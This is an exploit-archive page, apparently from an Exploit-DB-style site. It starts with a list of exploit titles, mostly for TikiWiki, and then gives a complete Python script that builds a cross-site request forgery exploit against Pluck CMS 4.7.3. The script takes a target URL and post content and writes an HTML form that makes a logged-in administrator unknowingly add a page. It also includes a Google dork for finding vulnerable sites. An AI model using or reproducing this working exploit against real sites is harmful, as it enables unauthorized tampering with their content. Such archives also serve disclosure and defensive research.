557f116d02
8 new exploits TikiWiki 1.9 Sirius - (jhot.php) Remote Command Execution TikiWiki 1.9 Sirius - 'jhot.php' Remote Command Execution TikiWiki 1.9.5 Sirius - (sort_mode) Information Disclosure TikiWiki 1.9.5 Sirius - 'sort_mode' Information Disclosure TikiWiki 1.9.8 - tiki-graph_formula.php Command Execution TikiWiki 1.9.8 - 'tiki-graph_formula.php' Command Execution TikiWiki < 1.9.9 - tiki-listmovies.php Directory Traversal TikiWiki < 1.9.9 - 'tiki-listmovies.php' Directory Traversal TikiWiki Project 1.8 - tiki-switch_theme.php theme Parameter Cross-Site Scripting TikiWiki Project 1.8 - img/wiki_up Arbitrary File Upload TikiWiki Project 1.8 - tiki-map.phtml Traversal Arbitrary File / Directory Enumeration TikiWiki Project 1.8 - 'tiki-switch_theme.php' theme Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'img/wiki_up' Arbitrary File Upload TikiWiki Project 1.8 - 'tiki-map.phtml' Traversal Arbitrary File / Directory Enumeration TikiWiki Project 1.8 - categorize.php Direct Request Full Path Disclosure TikiWiki Project 1.8 - messu-mailbox.php Multiple Parameter Cross-Site Scripting TikiWiki Project 1.8 - messu-read.php Multiple Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-read_article.php articleId Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-browse_categories.php parentId Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-index.php comments_threshold Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-print_article.php articleId Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-list_file_gallery.php galleryID Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'categorize.php' Direct Request Full Path Disclosure TikiWiki Project 1.8 - 'messu-mailbox.php' Multiple Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'messu-read.php' Multiple Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-read_article.php' articleId Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-browse_categories.php' parentId Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-index.php' comments_threshold Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-print_article.php' articleId Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-list_file_gallery.php' galleryID Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-upload_file.php galleryID Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-view_faq.php faqId Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-view_chart.php chartId Parameter Cross-Site Scripting TikiWiki Project 1.8 - tiki-usermenu.php sort_mode Parameter SQL Injection TikiWiki Project 1.8 - tiki-list_file_gallery.php sort_mode Parameter SQL Injection TikiWiki Project 1.8 - 'tiki-upload_file.php' galleryID Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-view_faq.php' faqId Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-view_chart.php' chartId Parameter Cross-Site Scripting TikiWiki Project 1.8 - 'tiki-usermenu.php' sort_mode Parameter SQL Injection TikiWiki Project 1.8 - 'tiki-list_file_gallery.php' sort_mode Parameter SQL Injection Symantec pcAnywhere 12.5.0 Windows (x86) - Remote Code Execution Symantec pcAnywhere 12.5.0 (Windows x86) - Remote Code Execution Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046) Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page) LanSpy 2.0.0.155 - Local Buffer Overflow ManageEngine ServiceDesk Plus 9.2 Build 9207 - Unauthorized Information Disclosure Cgiemail 1.6 - Source Code Disclosure Windows DFS Client Driver - Arbitrary Drive Mapping Privilege Escalation (MS16-123) Windows DeviceApi CMApi PiCMOpenDeviceKey - Arbitrary Registry Key Write Privilege Escalation (MS16-124) Windows DeviceApi CMApi - User Hive Impersonation Privilege Escalation (MS16-124)
74 lines
No EOL
2.6 KiB
Python
Executable file
74 lines
No EOL
2.6 KiB
Python
Executable file
# Exploit Title: Pluck CMS 4.7.3 - Add-Page Cross-Site Request Forgery
|
|
# Exploit Author: Ahsan Tahir
|
|
# Date: 18-10-2016
|
|
# Software Link: http://www.pluck-cms.org/?file=download
|
|
# Vendor: http://www.pluck-cms.org/
|
|
# Google Dork: "2005-2016. pluck is available"
|
|
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
|
|
# Website: www.ahsan-tahir.com
|
|
# Category: webapps
|
|
# Version: 4.7.3
|
|
# Tested on: [Kali Linux 2.0 | Windows 8.1]
|
|
# Email: mrahsan1337@gmail.com
|
|
|
|
import os
|
|
import urllib
|
|
|
|
if os.name == 'nt':
|
|
os.system('cls')
|
|
else:
|
|
os.system('clear')
|
|
|
|
def csrfexploit():
|
|
|
|
banner = '''
|
|
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==+
|
|
| ____ _ _ ____ __ __ ____ |
|
|
| | _ \| |_ _ ___| | __ / ___| \/ / ___| |
|
|
| | |_) | | | | |/ __| |/ / | | | |\/| \___ \ |
|
|
| | __/| | |_| | (__| < | |___| | | |___) | |
|
|
| |_| |_|\__,_|\___|_|\_\ \____|_| |_|____/ |
|
|
| //PluckCMS 4.7.3 Add-Post CSRF Auto-Exploiter |
|
|
| > Exploit Author & Script Coder: Ahsan Tahir |
|
|
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+
|
|
'''
|
|
print banner
|
|
|
|
url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))
|
|
title = str(raw_input(" [+] Enter the Title of the Post which you want to add by exploiting CSRF: "))
|
|
content = raw_input(" [+] Enter the Content, which you want to add in the post by exploiting CSRF: ")
|
|
|
|
csrfhtmlcode = '''
|
|
<html>
|
|
<!-- CSRF PoC -->
|
|
<body>
|
|
<form action="%s/admin.php?action=editpage" method="POST">
|
|
<input type="hidden" name="title" value="%s" />
|
|
<input type="hidden" name="seo_name" value="" />
|
|
<input type="hidden" name="content" value="%s" />
|
|
<input type="hidden" name="description" value="" />
|
|
<input type="hidden" name="keywords" value="" />
|
|
<input type="hidden" name="hidden" value="no" />
|
|
<input type="hidden" name="sub_page" value="" />
|
|
<input type="hidden" name="theme" value="default" />
|
|
<input type="hidden" name="save" value="Save" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
''' %(url, title, content)
|
|
|
|
print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."
|
|
|
|
print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
|
|
extension = ".html"
|
|
name = raw_input(" Filename: ")
|
|
filename = name+extension
|
|
file = open(filename, "w")
|
|
|
|
file.write(csrfhtmlcode)
|
|
file.close()
|
|
print(" [+] Your exploit is saved as %s")%filename
|
|
print("")
|
|
|
|
csrfexploit() |